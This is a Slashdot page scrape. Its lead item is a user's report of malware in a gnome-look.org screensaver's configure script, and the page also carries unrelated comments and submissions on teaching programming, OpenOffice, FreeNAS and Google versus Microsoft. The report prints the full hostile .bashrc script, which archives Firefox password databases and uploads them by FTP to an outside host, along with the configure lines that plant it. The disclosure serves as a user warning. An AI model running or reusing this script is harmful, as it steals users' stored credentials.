Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!

 



Forgot your password?
typodupeerror
×
Linux

Submission + - Gnome-look delivers malware again. (gnome-look.org) 1

QuaveringGrape writes: Something weird happened to me today...out of nowhere my terminal started displaying text I didn't recognize. Not output to a command, but a script that was run every time I opened a prompt. I edited the ~/.bashrc file and sure enough, there was the problem:

cd $HOME/.mozilla/
find ./ -name key*.db -exec cp {} /$HOME/.mozilla/ \;
find ./ -name signons*.txt -exec cp {} /$HOME/.mozilla/ \;
clear
tar -zcvf Unlucky.tar.gz key*.db signons*.txt
sleep 1
wget http://shiftytransfer.x10hosting.com/index.php
sleep 1
rm index.php
ftp -n -i open ftp.shiftytransfer.x10hosting.com
user public@shiftytransfer.x10hosting.com ipwnyou5
put Unlucky.tar.gz
close
bye
rm $HOME/.bashrc
clear


Anyone with a working knowledge of the shell should be able to make sense of this, but for those of you who don't I'll sum it up: This script creates an archive of your stored passwords and sends it off via FTP to its master. It then clears the screen. The script automatically runs when you open a terminal window. Upon sucessfull execution it removes itself.

For a while I had no clue how it got there. Then it struck me: the last command I had run was a configure scipt to compile a screen-saver (kFireSaver3d) from gnome-look.org. I examined the file, and sure enough, there were the two lines responsible for the mess:

rm $HOME/.bashrc
cp admin/gnome $HOME/.bashrc

To make a long story short, I was fortunately unaffected by the virus, making this the first time I have ever been glad to have crappy Internet — if I had broadband chances are I never would have noticed the output. Others, I imagine, have not been so lucky. The incident is similar to the recent exploits also involving gnome-look, although this one is slightly more disconcerting because it doesn't require elevated privileges.

Comment Re:It's all about algorithms (Score 1) 466

My advice: Learn Logic rather than math. It is far more useful.

I totally disagree on skipping math for logic. Not that logic isn't important but Discrete math is very important for general problem solving involving countable sets. It's essential, so you got to at least take that course. And when it comes to "selected math chapters"; a firm understanding of those topics, is really useful, but if you want to take more math later, a course on Real Analysis and a course on Linear Algebra should cover those topics that were provided, and a lot of other useful stuff, and it might give you a better understanding.

Comment Re:depends what he likes.. (Score 1) 799

An instant after I had written this I regretted doing so, because I suddenly remembered the old wise words of Why the lucky stiff... Teaching programming should be easy, fun, in collaboration with other kids, done on the child's terms and not be about how a computer works. I wholeheartedly hope you teach the kid ruby with hackety hack. Because it's all of the above and done in a language the is all about readability and doesn't have the "first you have to do like this and then that" that many other languages have. Take C or Java, you'll either have to wade through a lot information or you have to just leave a blank at many questions like: "why do I have to write include stdio?", "what is this int main()?", "why do I have to write public?", "what is an int?" or even "what is a compiler?" or "what is a textfile?" In ruby you might jump those initial questions in a couple of sentences for instances like this: "I'm going to teach you many different ways of hacking, but we are going to start here with this program called irb, and do the first steps. Now in this program type puts "hello world", which puts "hello world" on the screen..."
Microsoft

Submission + - Is OpenOffice.org a Threat? Microsoft Thinks So (computerworlduk.com)

Glyn Moody writes: Most people regard OpenOffice.org as a distant runner-up to Microsoft Office, and certainly not a serious rival. Microsoft seems to feel otherwise judging by a new job ad on its site for a "Linux and Open Office Compete Lead". According to this, competing with *both* GNU/Linux and OpenOffice.org is "one of the biggest issues that is top of mind" for no less a person than Steve Ballmer. Interestingly, a key part of this position is "engaging with Open Source communities and organizations" — which suggests that Microsoft's new-found eagerness to "engage" with open source has nothing to do with a real desire to reach a pacific accommodation with free software, but is simply a way for it to fight against it from close up, and armed with inside knowledge.

Comment depends what he likes.. (Score 1) 799

I would guess that at an early age you should appeal to their interests, if he is into "web2.0", social networking and that kind of stuff I would guess ruby and lead him towards ruby on rails later on, nice loving language, powerful framework.

If he like games, python and eventually teach pygame or pyglet. Maybe you'll put competing together in PyWeek as a goal.

If none of the above applies but he have a general interest in computers, Haskell is just a jawdroppingly beautiful language. Functional and typed. I just love it. Graham Hutton: Programming in Haskell is a great book for learning Haskell, and if your looking for an online resource there is always Learn You a Haskell For Great Good
BSD

Submission + - FreeNAS switching from FreeBSD to Debian Linux 1

dnaumov writes: FreeNAS, a popular free NAS solution is moving away from using FreeBSD as it's underlying core OS and switching to Debian Linux. Version 0.8 of FreeNAS as well as all further releases are going to be based on Linux, while the FreeBSD-based 0.7 branch of FreeNAS is going into maintenance-only mode, according to main developer Volker Theile. A discussion about the switch, including comments from the developers can be found on the FreeNAS SourceForge discussion forum. Some users applaud the change, which promises improved hardware compatibility, while others voice concerns regarding the future of their existing setups and lack of ZFS support in Linux.

Comment Re:consult with a real security professional (Score 1) 600

It doesn't seem like this does something "patchable," it seems like Linux is working as expected, you download the file, you get prompted for security elevation when executed (if that is automatic then the problem is probably somewhere else like the browser), and the program does it's thing. If it doesn't work in SELinux its probably because SELinux would recover some extra manual overriding of configuration that Linux doesn't require by design. However it sounded to me like it does something it's not suppose to be able to, when issuing it's auto start. But let's face it, if you allow a problem to it is supposed to be able to do almost anything...

Comment Wow, thats backwards (Score 1) 1

I think that two companies competing for consumers can only be good for consumers since the alternative is monopoly, where one company sells to the majority of consumers (like Microsoft has done for years and that didn't bring us anything good, I mean their OS costs a lot compared to some alternatives). So I believe that the conclusion of this article is all backwards. Let's say that Google bombards their users with ads and premium service as the article suggests, everyone would flock to bing. And when other OS alternatives start gaining popularity and therefor support, we would probably see Microsoft lowering their prices and cleaning up their act.

Comment really just linux? (Score 2, Informative) 176

I don't know about you, but I can't seem to find any downloads unless I go to the specific site where they have it, you can't even get new membership it seems... Seems to me that google has packed up the product and is looking to move it elsewhere, maybe incorporate it in their own software perhaps? and the fact that you can't download linux version from http://www.gizmo5.com/download.php , seems to me to be more of a bug then a "kill the penguins" act, although I guess most of the posts here is going to assume so...
Google

Submission + - Google-Microsoft Crossfire Will Hit Consumers 1

theodp writes: Newsweek's Dan Lyons doesn't know who will be the winner in Google and Microsoft's search battle, but that's not stopping him from picking a loser — consumers. As we head towards a world where some devices may be free or really cheap, consumers should prepare to be bombarded by ads or pay a premium to escape them. 'The sad truth is that Google and Microsoft care less about making cool products than they do about hurting each other,' concludes Lyons. 'Their fighting has little to do with helping customers and a lot to do with helping themselves to a bigger slice of the money we all spend to buy computers and surf the Internet. Microsoft wants to ruin Google's search business. Google wants to ruin Microsoft's OS business. At the end of the day, they both seem like overgrown nerdy schoolboys fighting over each other's toys.'
Amiga

Submission + - Oldest Commodore Users Group Turns 30 (www.tpug.ca)

Leif_Bloomquist writes: The Toronto PET Users Group, the the longest continually operating Commodore users group in the world, is celebrating its 30th Anniversary by hosting The World of Commodore on December 5th in Toronto, Canada. There will be demonstrations of new and classic hardware and software, screenings of Commodore related videos, vendors, a raffle, and more. There will also be a 'freebie' table where you can drop off any Commodore items you no longer want and help yourself to some goodies.

Slashdot Top Deals

No man is an island if he's on at least one mailing list.

Working...